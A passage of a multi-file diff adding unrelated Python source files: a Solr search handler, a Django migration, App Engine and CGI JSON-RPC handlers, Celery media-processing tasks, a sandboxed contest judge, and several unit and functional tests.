+        try:
+            startIndex = requestHandler.get_argument('startIndex')
+            self.searchParameters['startIndex'] = startIndex
+        except:
+            pass
+
+        entriesPerPage = self._configuration.getint('solr', 'entriesPerPage')
+        try:
+            entriesPerPage = requestHandler.get_argument('itemsPerPage')
+            maxEntriesPerPage = self._configuration.getint('solr', 'maxEntriesPerPage')
+            if (int(entriesPerPage) > maxEntriesPerPage):
+                entriesPerPage = maxEntriesPerPage
+            self.searchParameters['itemsPerPage'] = entriesPerPage
+        except:
+            pass
+
+        try:
+            if requestHandler.get_argument('pretty').lower() == 'true':
+                self.pretty = True
+                self.searchParameters['pretty'] = 'true'
+        except:
+            pass
+
+        parameters = {}
+        for parameter in self._configuration.get('solr', 'parameters').split(','):
+            try:
+                value = requestHandler.get_arguments(parameter)
+                if len(value) == 1:
+                    parameters[parameter] = value[0]
+                    self.searchParameters[parameter] = value[0]
+                elif len(value) > 0:
+                    parameters[parameter] = value
+                    self.searchParameters[parameter] = value
+            except:
+                pass
+
+        facets = {}
+        if self._configuration.has_option('solr', 'facets'):
+            self.facetDefs = json.loads(self._configuration.get('solr', 'facets'), object_pairs_hook=OrderedDict)
+            for facet in self.facetDefs.keys():
+                try:
+                    value = requestHandler.get_arguments(facet)
+                    if len(value) > 0:
+                        facets[self.facetDefs[facet]] = value
+                        self.searchParameters[facet] = value
+                except:
+                    pass
+
+        try:
+            self._getResponse(startIndex, entriesPerPage, parameters, facets)
+        except:
+            logging.exception('Failed to get solr response.')
+
+    def _urlEncodeSolrQueryValue(self, value):
+        return urllib.quote('"'+value+'"')
+
+    def _onResponse(self, response):
+        logging.debug(response)
+        if response.error:
+            self._handleException(str(response.error))
+        else:
+            self._writeResponse(response.body)
+
+    def _writeResponse(self, responseText):
+        searchText = ''
+        if 'keyword' in self.variables:
+            searchText = self.variables['keyword']
+        try:
+            openSearchResponse = self._generateOpenSearchResponse(
+                responseText,
+                searchText,
+                self._configuration.get('service', 'url') + self.requestHandler.request.path,
+                self.searchParameters,
+                self.pretty
+            )
+            self.requestHandler.set_header("Content-Type", self.contentType)
+            self.requestHandler.set_header('Access-Control-Allow-Origin', '*')
+            self.requestHandler.write(openSearchResponse)
+            self.requestHandler.finish()
+        except BaseException as exception:
+            self._handleException(str(exception))
+
+    def _getResponse(self, startIndex, entriesPerPage, parameters, facets):
+        query = self._constructQuery(startIndex, entriesPerPage, parameters, facets)
+        url = self._configuration.get('solr', 'datasetUrl')
+
+        httpUtility = HttpUtility()
+        httpUtility.getResponse(url+'/_search/?'+query, self._onResponse)
+
+    def _generateOpenSearchResponse(self, solrResponse, searchText, searchUrl, searchParams, pretty):
+        pass
+
+    def _constructQuery(self, startIndex, entriesPerPage, parameters, facets):
+        pass
diff --git a/pool/shard000/Python/0007550_0043_meta_update_project_links_and_machinerequest_new_version_membership.py b/pool/shard000/Python/0007550_0043_meta_update_project_links_and_machinerequest_new_version_membership.py
new file mode 100644
index 0000000000000000000000000000000000000000..caddf1460de93c0d957a239d8d5d0d47442f0f5b
--- /dev/null
+++ b/pool/shard000/Python/0007550_0043_meta_update_project_links_and_machinerequest_new_version_membership.py
@@ -0,0 +1,23 @@
+# -*- coding: utf-8 -*-
+from __future__ import unicode_literals
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+
+    dependencies = [
+        ('core', '0042_add_external_link_and_project_resources'),
+    ]
+
+    operations = [
+        migrations.AlterField(
+            model_name='machinerequest',
+            name='new_version_membership',
+            field=models.ManyToManyField(to='core.Group', blank=True),
+        ),
+        migrations.AlterModelTable(
+            name='projectexternallink',
+            table='project_links',
+        ),
+    ]
diff --git a/pool/shard000/Python/0007554_test_vtk_file_reader.py b/pool/shard000/Python/0007554_test_vtk_file_reader.py
new file mode 100644
index 0000000000000000000000000000000000000000..04c35cc69aaa796d351a1623a9b5eab2e9ba174c
--- /dev/null
+++ b/pool/shard000/Python/0007554_test_vtk_file_reader.py
@@ -0,0 +1,63 @@
+# Copyright (c) 2015,  Enthought, Inc.
+# License: BSD Style.
+
+# Standard library imports.
+import unittest
+
+# External library imports
+import vtk
+
+# Enthought library imports
+from mayavi.sources.vtk_file_reader import VTKFileReader
+
+# Local imports.
+from .common import get_example_data
+
+vtk_major_version = vtk.vtkVersion.GetVTKMajorVersion()
+vtk_minor_version = vtk.vtkVersion.GetVTKMinorVersion()
+
+class TestVTKFileReader(unittest.TestCase):
+    def setUp(self):
+        # Read a VTK data file.
+        self.src = VTKFileReader()
+
+    def tearDown(self):
+        """For necessary clean up, automatically called by TestCase
+           after the test methods have been invoked"""
+        self.src = None
+        return
+
+    def check(self, n_points, n_cells):
+        """Do the actual testing."""
+        output = self.src.outputs[0]
+        self.assertEqual(output.number_of_points, n_points)
+        self.assertEqual(output.number_of_cells, n_cells)
+
+    def test_structured_points_file(self):
+        self.src.initialize(get_example_data('texThres2.vtk'))
+        self.check(128, 127)
+
+    def test_rectiliner_grid_file(self):
+        self.src.initialize(get_example_data('RectGrid2.vtk'))
+        self.check(17061, 14720)
+
+    def test_polydata_file(self):
+        self.src.initialize(get_example_data('polyEx.vtk'))
+        self.check(8, 6)
+
+    def test_structured_grid_file(self):
+        self.src.initialize(get_example_data('SampleStructGrid.vtk'))
+        self.check(24000, 21489)
+
+    @unittest.skipIf(vtk_major_version == 5 and vtk_minor_version < 10,
+                    "This test is probably broken in VTK < 5.10")
+    def test_unstructured_grid_file(self):
+        self.src.initialize(get_example_data('UGridEx.vtk'))
+        self.check(27, 12)
+
+    def test_field_file(self):
+        self.src.initialize(get_example_data('fieldfile.vtk'))
+        self.check(18, 3)
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/pool/shard000/Python/0007558_init__.py b/pool/shard000/Python/0007558_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..83db651c30ca4b38b24f27d24ded706d4b38c68a
--- /dev/null
+++ b/pool/shard000/Python/0007558_init__.py
@@ -0,0 +1,123 @@
+# Copyright 2013 Google Inc. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# shared resources and global variables
+from tailbone import AppError
+from tailbone import PREFIX
+from tailbone import as_json
+from tailbone import BreakError
+from tailbone import config
+from tailbone import DEBUG
+from tailbone import restful
+
+import re
+import urllib
+import webapp2
+
+HAS_PIL = True
+try:
+  import PIL
+  from google.appengine.api.images import delete_serving_url
+  from google.appengine.api.images import get_serving_url_async
+except:
+  HAS_PIL = False
+
+from google.appengine.ext.ndb import blobstore
+from google.appengine.ext import blobstore as bs
+from google.appengine.ext.webapp import blobstore_handlers
+from google.appengine.api import lib_config
+
+class _ConfigDefaults(object):
+  CLOUDSTORE = None
+
+_config = lib_config.register('tailboneFiles', _ConfigDefaults.__dict__)
+
+
+re_image = re.compile(r"image/(png|jpeg|jpg|webp|gif|bmp|tiff|ico)", re.IGNORECASE)
+
+
+class BlobInfo(blobstore.BlobInfo):
+  def to_dict(self, *args, **kwargs):
+    result = super(BlobInfo, self).to_dict(*args, **kwargs)
+    result["Id"] = str(self.key())
+    return result
+
+
+def blob_info_to_dict(blob_info):
+  d = {}
+  for prop in ["content_type", "creation", "filename", "size"]:
+    d[prop] = getattr(blob_info, prop)
+  key = blob_info.key()
+  if HAS_PIL and re_image.match(blob_info.content_type):
+    d["image_url"] = get_serving_url_async(key)
+  d["Id"] = str(key)
+  return d
+
+
+class FilesHandler(blobstore_handlers.BlobstoreDownloadHandler):
+
+  @as_json
+  def get(self, key):
+    if key == "":  # query
+      if not config.is_current_user_admin():
+        raise AppError("User must be administrator.")
+      return restful.query(self, BlobInfo)
+    elif key == "create":
+      #, gs_bucket_name=_config.CLOUDSTORE)
+      return {
+          "upload_url": blobstore.create_upload_url("/api/files/upload")
+      }
+    key = str(urllib.unquote(key))
+    blob_info = bs.BlobInfo.get(key)
+    if blob_info:
+      self.send_blob(blob_info)
+      raise BreakError
+    else:
+      self.error(404)
+      return {"error": "File not found with key " + key}
+
+  @as_json
+  def post(self, _):
+    raise AppError("You must make a GET call to /api/files/create to get a POST url.")
+
+  @as_json
+  def put(self, _):
+    raise AppError("PUT is not supported for the files api.")
+
+  @as_json
+  def delete(self, key):
+    if not config.is_current_user_admin():
+      raise AppError("User must be administrator.")
+    key = blobstore.BlobKey(str(urllib.unquote(key)))
+    blob_info = BlobInfo.get(key)
+    if blob_info:
+      blob_info.delete()
+      if HAS_PIL and re_image.match(blob_info.content_type):
+        delete_serving_url(key)
+      return {}
+    else:
+      self.error(404)
+      return {"error": "File not found with key " + key}
+
+
+class FilesUploadHandler(blobstore_handlers.BlobstoreUploadHandler):
+  @as_json
+  def post(self):
+    return [blob_info_to_dict(b) for b in self.get_uploads()]
+
+
+app = webapp2.WSGIApplication([
+  (r"{}files/upload".format(PREFIX), FilesUploadHandler),
+  (r"{}files/?(.*)".format(PREFIX), FilesHandler),
+], debug=DEBUG)
diff --git a/pool/shard000/Python/0007563_init__.py b/pool/shard000/Python/0007563_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..abbd25c66239d9810f74fb859ae50979dd95936b
--- /dev/null
+++ b/pool/shard000/Python/0007563_init__.py
@@ -0,0 +1,62 @@
+"""
+  Copyright (c) 2006 Jan-Klaas Kollhof
+
+  This file is part of jsonrpc.
+
+  jsonrpc is free software; you can redistribute it and/or modify
+  it under the terms of the GNU Lesser General Public License as published by
+  the Free Software Foundation; either version 2.1 of the License, or
+  (at your option) any later version.
+
+  This software is distributed in the hope that it will be useful,
+  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  GNU Lesser General Public License for more details.
+
+  You should have received a copy of the GNU Lesser General Public License
+  along with this software; if not, write to the Free Software
+  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+"""
+
+from pyjs.jsonrpc import JSONRPCServiceBase, jsonremote
+import sys, os
+import Cookie
+
+def read_data():
+    try:
+        contLen=int(os.environ['CONTENT_LENGTH'])
+        data = sys.stdin.read(contLen)
+    except:
+        data = ""
+    return data
+
+def write_data(data, cookies):
+    if not isinstance(data, list):
+        data = [data]
+    data = "\n".join(data)
+    response = "Content-Type: text/plain\n"
+    if cookies:
+        response += cookies+"\n"
+    response += "Content-Length: %d\n\n" % len(data)
+    response += data
+
+    #on windows all \n are converted to \r\n if stdout is a terminal and
+    # is not set to binary mode :(
+    #this will then cause an incorrect Content-length.
+    #I have only experienced this problem with apache on Win so far.
+    if sys.platform == "win32":
+        import  msvcrt
+        msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
+    #put out the response
+    sys.stdout.write(response)
+
+class CGIJSONRPCService(JSONRPCServiceBase):
+    def set_cookies(self, c):
+        self._cookies = c
+
+    def __call__(self):
+        self._cookies = Cookie.SmartCookie()
+        self._cookies.load(os.environ.get('HTTP_COOKIE', ''))
+        d = read_data() # TODO: handle partial data
+        write_data(self.process(d), self._cookies.output())
+
diff --git a/pool/shard000/Python/0007564_test_consumers.py b/pool/shard000/Python/0007564_test_consumers.py
new file mode 100644
index 0000000000000000000000000000000000000000..ba700791c9ee3177f274edce8ec378561871b8fa
--- /dev/null
+++ b/pool/shard000/Python/0007564_test_consumers.py
@@ -0,0 +1,216 @@
+# Copyright (c) 2014 Rackspace, Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#    http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+# implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+import copy
+
+from testtools import testcase
+
+from functionaltests.api import base
+from functionaltests.api.v1.behaviors import consumer_behaviors
+from functionaltests.api.v1.behaviors import container_behaviors
+from functionaltests.api.v1.behaviors import secret_behaviors
+from functionaltests.api.v1.models import consumer_model
+from functionaltests.api.v1.models import container_models
+from functionaltests.api.v1.models import secret_models
+
+create_secret_data = {
+    "name": "AES key",
+    "expiration": "2018-02-28T19:14:44.180394",
+    "algorithm": "aes",
+    "bit_length": 256,
+    "mode": "cbc",
+    "payload": "gF6+lLoF3ohA9aPRpt+6bQ==",
+    "payload_content_type": "application/octet-stream",
+    "payload_content_encoding": "base64",
+}
+
+default_consumer_data = {
+    "name": "consumername",
+    "URL": "consumerURL"
+}
+
+create_container_data = {
+    "name": "containername",
+    "type": "generic",
+    "secret_refs": [
+        {
+            "name": "secret1",
+        },
+        {
+            "name": "secret2",
+        }
+    ]
+}
+
+
+class ConsumersTestCase(base.TestCase):
+    default_data = default_consumer_data
+
+    def _create_a_secret(self):
+        secret_model = secret_models.SecretModel(**create_secret_data)
+        resp, secret_ref = self.secret_behaviors.create_secret(secret_model)
+        self.assertEqual(resp.status_code, 201)
+        self.assertIsNotNone(secret_ref)
+
+        return secret_ref
+
+    def setUp(self):
+        super(ConsumersTestCase, self).setUp()
+        self.secret_behaviors = secret_behaviors.SecretBehaviors(self.client)
+        self.container_behaviors = container_behaviors.ContainerBehaviors(
+            self.client
+        )
+        self.consumer_behaviors = consumer_behaviors.ConsumerBehaviors(
+            self.client
+        )
+
+        self.consumer_data = copy.deepcopy(self.default_data)
+
+        # Set up two secrets
+        secret_ref_1 = self._create_a_secret()
+        secret_ref_2 = self._create_a_secret()
+
+        # Create a container with our secrets
+        create_container_data['secret_refs'][0]['secret_ref'] = secret_ref_1
+        create_container_data['secret_refs'][1]['secret_ref'] = secret_ref_2
+        container_model = container_models.ContainerModel(
+            **create_container_data
+        )
+
+        resp, container_ref = self.container_behaviors.create_container(
+            container_model
+        )
+        self.assertEqual(resp.status_code, 201)
+        self.assertIsNotNone(container_ref)
+        self.container_ref = container_ref
+
+    def tearDown(self):
+        self.secret_behaviors.delete_all_created_secrets()
+        super(ConsumersTestCase, self).tearDown()
+
+    @testcase.attr('positive')
+    def test_create_consumer_defaults(self):
+        """Covers consumer creation.
+
+        All of the data needed to create the consumer is provided in a
+        single POST.
+        """
+        test_model = consumer_model.ConsumerModel(**self.consumer_data)
+        resp, consumer_data = self.consumer_behaviors.create_consumer(
+            test_model, self.container_ref)
+
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+
+    @testcase.attr('positive')
+    def test_get_consumer_defaults(self):
+        """Tests getting a list of consumers for a container."""
+        # Create first consumer
+        test_model = consumer_model.ConsumerModel(**self.consumer_data)
+        resp, consumer_data = self.consumer_behaviors.create_consumer(
+            test_model, self.container_ref)
+
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+
+        # Create second consumer
+        test_model.name = "consumername2"
+        test_model.URL = "consumerURL2"
+
+        resp, consumer_data = self.consumer_behaviors.create_consumer(
+            test_model, self.container_ref)
+
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+
+        # Get list of consumers
+        resp, consumers, nref, pref = self.consumer_behaviors.get_consumers(
+            self.container_ref
+        )
+        self.assertEqual(resp.status_code, 200)
+        self.assertIn("consumername", consumers[0].name)
+        self.assertIn("consumername2", consumers[1].name)
+
+    @testcase.attr('positive')
+    def test_delete_consumer_defaults(self):
+        """Covers consumer deletion.
+
+        A consumer is first created, and then the consumer is deleted and
+        verified to no longer exist.
+        """
+        test_model = consumer_model.ConsumerModel(**self.consumer_data)
+        resp, consumer_data = self.consumer_behaviors.create_consumer(
+            test_model, self.container_ref)
+
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+
+        # Delete the consumer
+        resp, consumer_data = self.consumer_behaviors.delete_consumer(
+            test_model, self.container_ref
+        )
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+        self.assertNotIn(test_model.name, consumer_data)
+        self.assertNotIn(test_model.URL, consumer_data)
+
+    @testcase.attr('positive')
+    def test_recreate_consumer_defaults(self):
+        """Covers consumer recreation."""
+        test_model = consumer_model.ConsumerModel(**self.consumer_data)
+        resp, consumer_data = self.consumer_behaviors.create_consumer(
+            test_model, self.container_ref)
+
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+
+        # Delete the consumer
+        resp, consumer_data = self.consumer_behaviors.delete_consumer(
+            test_model, self.container_ref
+        )
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+        self.assertNotIn(test_model.name, consumer_data)
+        self.assertNotIn(test_model.URL, consumer_data)
+
+        # Register the consumer again
+        test_model = consumer_model.ConsumerModel(**self.consumer_data)
+        resp, consumer_data = self.consumer_behaviors.create_consumer(
+            test_model, self.container_ref)
+
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+
+    @testcase.attr('positive')
+    def test_create_consumer_defaults_is_idempotent(self):
+        """Covers checking that create consumer is idempotent."""
+        # Register the consumer once
+        test_model = consumer_model.ConsumerModel(**self.consumer_data)
+        resp, consumer_data = self.consumer_behaviors.create_consumer(
+            test_model, self.container_ref)
+
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+
+        # Register the consumer again, without deleting it first
+        test_model = consumer_model.ConsumerModel(**self.consumer_data)
+        resp, consumer_data = self.consumer_behaviors.create_consumer(
+            test_model, self.container_ref)
+
+        count = consumer_data.count(self.consumer_data)
+
+        self.assertEqual(resp.status_code, 200)
+        self.assertIsNotNone(consumer_data)
+        self.assertIn(self.consumer_data, consumer_data)
+        self.assertEqual(1, count)
diff --git a/pool/shard000/Python/0007579_tasks.py b/pool/shard000/Python/0007579_tasks.py
new file mode 100644
index 0000000000000000000000000000000000000000..8033be5dd90d47a8528bdd52a3fa166a445bae9f
--- /dev/null
+++ b/pool/shard000/Python/0007579_tasks.py
@@ -0,0 +1,110 @@
+from mediacrush.config import _cfgi
+from mediacrush.paths import file_storage
+from mediacrush.objects import RedisObject, File, FailedFile, Album
+from mediacrush.celery import app, get_task_logger, chord, signature
+from mediacrush.processing import processor_table, detect
+from mediacrush.fileutils import compression_rate, delete_file
+
+import time
+import os
+import json
+
+from subprocess import call
+
+logger = get_task_logger(__name__)
+
+@app.task
+def zip_album(h):
+    a = Album.from_hash(h)
+    paths = map(lambda f: file_storage(f.original), a.items)
+    zip_path = file_storage(h + ".zip")
+
+    if os.path.exists(zip_path):
+        return
+
+    call(["zip", "-j", zip_path] + paths)
+
+    a.metadata = json.dumps({"has_zip": True})
+    a.save()
+
+@app.task(bind=True, track_started=True)
+def convert_file(self, h, path, p, metadata, processor_state, ignore_limit):
+    f = File.from_hash(h)
+
+    if p not in processor_table:
+        p = 'default'
+
+    processor = processor_table[p](path, f, processor_state, ignore_limit)
+
+    # Execute the synchronous step.
+    processor.sync()
+
+    # Save compression information
+    f = File.from_hash(h) # Reload file; user might have changed the config vector while processing
+    f.compression = compression_rate(path, f)
+    f.metadata = json.dumps(metadata)
+    f.save()
+
+    # Notify frontend: sync step is done.
+    self.update_state(state="READY")
+
+    # Execute the asynchronous step.
+    processor.important = False
+    processor.async()
+
+@app.task
+def cleanup(results, path, h):
+    f = File.from_hash(h)
+    os.unlink(path)
+
+    if f.status in ["internal_error", "error", "timeout", "unrecognised"]:
+        failed = FailedFile(hash=h, status=f.status) # Create a "failed file" record
+        failed.save()
+
+        delete_file(f)
+
+@app.task
+def process_file(path, h, ignore_limit):
+    t = time.time() + 2
+    while True:
+        f = File.from_hash(h)
+        if f or time.time() > t:
+            break
+        time.sleep(0.05) # Wait for Redis to catch up
+
+    try:
+        result = detect(path)
+        processor = result['type'] if result else 'default'
+    except:
+        processor = 'default'
+    finally:
+        if processor == 'default': # Unrecognised file type
+            failed = FailedFile(hash=h, status="unrecognised")
+            failed.save()
+
+            delete_file(f)
+            return
+
+    metadata = result['metadata'] if result else {}
+    processor_state = result['processor_state'] if result else {}
+
+    f.processor = processor
+    queue = "priority" if processor.startswith("image") else "celery"
+
+    setattr(f.flags, 'nsfw', False)
+    if result and result['flags']:
+        for flag, value in result['flags'].items():
+            setattr(f.flags, flag, value)
+
+    f.save()
+
+    args = [h, path, processor, metadata, processor_state, ignore_limit]
+    task = signature("mediacrush.tasks.convert_file", args=args, options={'queue': queue})
+    task_result = task.freeze() # This sets the taskid, so we can pass it to the UI
+
+    # This chord will execute `syncstep` and `asyncstep`, and `cleanup` after both of them have finished.
+    c = chord(task, cleanup.s(path, h))
+    c.apply_async()
+
+    f.taskid = task_result.id
+    f.save()
diff --git a/pool/shard000/Python/0007583_variable_replace_test.py b/pool/shard000/Python/0007583_variable_replace_test.py
new file mode 100644
index 0000000000000000000000000000000000000000..e07426dd44ef4aa9e3a394cd98d645a79f8a2b75
--- /dev/null
+++ b/pool/shard000/Python/0007583_variable_replace_test.py
@@ -0,0 +1,56 @@
+# coding=utf-8
+# Copyright 2022 The Google Research Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# python3
+"""Tests for task_set.variable_replace."""
+
+import sonnet as snt
+
+from task_set import variable_replace
+import tensorflow.compat.v1 as tf
+
+
+class VaraibleReplaceTest(tf.test.TestCase):
+
+  def test_variable_replace_getter(self):
+    with self.test_session() as sess:
+      context = variable_replace.VariableReplaceGetter()
+      mod = snt.Linear(1, custom_getter=context)
+
+      inp_data = tf.ones([10, 1])
+      with context.use_variables():
+        y1 = mod(inp_data)
+        sess.run(tf.initialize_all_variables())
+        np_y1 = sess.run(y1)
+
+      values = context.get_variable_dict()
+
+      new_values = {k: v + 1 for k, v in values.items()}
+
+      with context.use_value_dict(new_values):
+        np_y2 = mod(inp_data).eval()
+
+      self.assertNear((np_y2 - np_y1)[0], 2, 1e-8)
+
+      for v in values.values():
+        v.assign(v + 1).eval()
+
+      with context.use_variables():
+        np_y3 = mod(inp_data).eval()
+        self.assertNear((np_y3 - np_y2)[0], 0, 1e-8)
+
+
+if __name__ == '__main__':
+  tf.test.main()
diff --git a/pool/shard000/Python/0007594_judge.py b/pool/shard000/Python/0007594_judge.py
new file mode 100644
index 0000000000000000000000000000000000000000..d5623447e433b43837b47b6ab0283b7754788d17
--- /dev/null
+++ b/pool/shard000/Python/0007594_judge.py
@@ -0,0 +1,133 @@
+#! /usr/bin/env python
+#-*- coding: utf8 -*-
+
+from six import itervalues
+from math import ceil
+from settings import LANGUAGES, NODE
+from sandbox import Sandbox
+from result import Result
+import threading
+import logging
+
+
+class Judge(threading.Thread):
+    """Compiles, executes and checks solutions for a specific task."""
+
+    def __init__(self, task, submission):
+        self.task = task
+        self.language = submission['language']
+        fileName = LANGUAGES[self.language].get('sourceFilename')
+        if callable(fileName):
+            fileName = fileName(submission['source'])
+        self.fileFullName = fileName
+        self.fileName, self.fileExtension = fileName.split('.')
+        self._results = []
+        self._compilation_log = None
+        self.source = submission['source']
+
+        # If the submission was sent in an active contest
+        # judge sample tests only
+        self.sampleTests = bool(int(submission['active']))
+        threading.Thread.__init__(self)
+
+    def run(self):
+        """Process the judge request - create the sandbox,
+        compile the source, execute and generate results."""
+
+        with Sandbox.new() as sandbox:
+            with sandbox.file(self.fileFullName) as sourceFile:
+                sourceFile.write(self.source)
+            self.compile(sandbox)
+            self.execute(sandbox)
+
+    def compare_files(self, out, ref=None):
+        """Basic comparation function.
+        Compares output file with reference file."""
+
+        out = out.rstrip()
+        ref = ref.rstrip()
+        out = out.split('\n')
+        ref = ref.split('\n')
+        if len(out) != len(ref):
+            return False
+        for outLine, refLine in zip(out, ref):
+            if outLine.rstrip() != refLine.rstrip():
+                return False
+        return True
+
+    def check_solution(self, out, ref=None, fun=compare_files):
+        """Compare solution with chosen function."""
+        return fun(self, out, ref)
+
+    def compile(self, sandbox):
+        """Compile source code and save compile logs"""
+        logging.info("Compiling the submission source.")
+        cmd = '{compiler} {compilerOptions} {fileName}.{fileExtension}'.format(
+            compiler=LANGUAGES[self.language].get('compiler'),
+            compilerOptions=LANGUAGES[self.language].get('compilerOptions'),
+            fileName=self.fileName,
+            fileExtension=self.fileExtension
+        )
+
+        ret = sandbox.execute(
+            cmd,
+            None,
+            timeLimit=NODE['SANDBOX']['COMPILER_TIMELIMIT']
+        )
+
+        self._compilation_log = u'{} {}'.format(*ret[0])
+        logging.info("Compilation finished.")
+
+    def execute(self, sandbox):
+        """Run program with all tests available for specific task
+        and compare using check_solution. Program is limited by execution time
+        and memory depending od information taken from the task."""
+        logging.info("Executing the submission.")
+        executionPath = LANGUAGES[self.language].get('runCommand').format(
+            fileName=self.fileName,
+            fileExtension=self.fileExtension,
+            sandboxHome=NODE['SANDBOX']['HOME_DIR'],
+        )
+
+        for test in itervalues(self.task.tests):
+            if not test.isSampleTest and self.sampleTests:
+                continue
+
+            (out, err), returncode, runTime = sandbox.execute(
+                executionPath,
+                test.input,
+                timeLimit=int(ceil(test.timeLimit)),
+                memoryLimit=test.memoryLimit
+            )
+
+            if not returncode == 0:
+                runTime = 0
+
+            if runTime > test.timeLimit:
+                returncode = 9
+
+            res = Result(
+                returncode,
+                int(self.check_solution(out, test.output) and returncode != 9),
+                runTime)
+            del out
+            self._results.append(res)
+        logging.info("Execution finished.")
+
+        if err:
+            logging.warning("There were errors during execution:\n{}".format(
+                err
+            ))
+
+    @property
+    def results(self):
+        """Return compiler logs and results"""
+        if len(self._results) == 0:
+            return None
+        return self._results
+
+    @property
+    def compilation_log(self):
+        if not self._compilation_log:
+            return None
+        return self._compilation_log
diff --git a/pool/shard000/Python/0007595_test_fact.py b/pool/shard000/Python/0007595_test_fact.py
new file mode 100644
index 0000000000000000000000000000000000000000..49c6ad58af2adffce0c3c4741e0165cb0366a2fa
--- /dev/null
+++ b/pool/shard000/Python/0007595_test_fact.py
@@ -0,0 +1,58 @@
+# -*- encoding: utf-8 -*-
+# vim: ts=4 sw=4 expandtab ai
+"""Test class for Fact  CLI"""
+
+from ddt import ddt
+from fauxfactory import gen_string
+from robottelo.cli.fact import Fact
+from robottelo.common.decorators import data, run_only_on, stubbed
+from robottelo.test import CLITestCase
+
+
+@run_only_on('sat')
+@ddt
+class TestFact(CLITestCase):
+    """Fact related tests."""
+
+    @stubbed('Need to create facts before we can check them.')
+    @data(
+        'uptime', 'uptime_days', 'uptime_seconds', 'memoryfree', 'ipaddress',
+    )
+    def test_list_success(self, fact):
+        """@Test: Test Fact List
+
+        @Feature: Fact - List Positive
+
+        @Assert: Fact List is displayed
+
+        """
+
+        args = {
+            'search': "fact='%s'" % fact,
+        }
+
+        result = Fact().list(args)
+        stdout = result.stdout
+
+        self.assertEqual(stdout[0]['fact'], fact)
+
+    @data(
+        gen_string("alpha", 10),
+        gen_string("alpha", 10),
+        gen_string("alpha", 10),
+        gen_string("alpha", 10),
+    )
+    def test_list_fail(self, fact):
+        """@Test: Test Fact List failure
+
+        @Feature: Fact - List Negative
+
+        @Assert: Fact List is not displayed
+
+        """
+
+        args = {
+            'search': "fact='%s'" % fact,
+        }
+        self.assertEqual(
+            Fact().list(args).stdout, [], "No records should be returned")
diff --git a/pool/shard000/Python/0007596_test_loadables.py b/pool/shard000/Python/0007596_test_loadables.py
new file mode 100644
index 0000000000000000000000000000000000000000..668a4e55ac39fc0b77b2fafb0e539188ea5f406f
--- /dev/null
+++ b/pool/shard000/Python/0007596_test_loadables.py
@@ -0,0 +1,113 @@
+# Copyright 2012 OpenStack Foundation  # All Rights Reserved.
+#
+#    Licensed under the Apache License, Version 2.0 (the "License"); you may
+#    not use this file except in compliance with the License. You may obtain
+#    a copy of the License at
+#
+#         http://www.apache.org/licenses/LICENSE-2.0
+#
+#    Unless required by applicable law or agreed to in writing, software
+#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+#    License for the specific language governing permissions and limitations
+#    under the License.
+"""
+Tests For Loadable class handling.
+"""
+
+from zun.common import exception
+from zun.tests import base
+from zun.tests.unit.scheduler import fake_loadables
+
+
+class LoadablesTestCase(base.TestCase):
+    def setUp(self):
+        super(LoadablesTestCase, self).setUp()
+        self.fake_loader = fake_loadables.FakeLoader()
+        # The name that we imported above for testing
+        self.test_package = 'zun.tests.unit.scheduler.fake_loadables'
+
+    def test_loader_init(self):
+        self.assertEqual(self.fake_loader.package, self.test_package)
+        # Test the path of the module
+        ending_path = '/' + self.test_package.replace('.', '/')
+        self.assertTrue(self.fake_loader.path.endswith(ending_path))
+        self.assertEqual(self.fake_loader.loadable_cls_type,
+                         fake_loadables.FakeLoadable)
+
+    def _compare_classes(self, classes, expected):
+        class_names = [cls.__name__ for cls in classes]
+        self.assertEqual(set(class_names), set(expected))
+
+    def test_get_all_classes(self):
+        classes = self.fake_loader.get_all_classes()
+        expected_class_names = ['FakeLoadableSubClass1',
+                                'FakeLoadableSubClass2',
+                                'FakeLoadableSubClass5',
+                                'FakeLoadableSubClass6']
+        self._compare_classes(classes, expected_class_names)
+
+    def test_get_matching_classes(self):
+        prefix = self.test_package
+        test_classes = [prefix + '.fake_loadable1.FakeLoadableSubClass1',
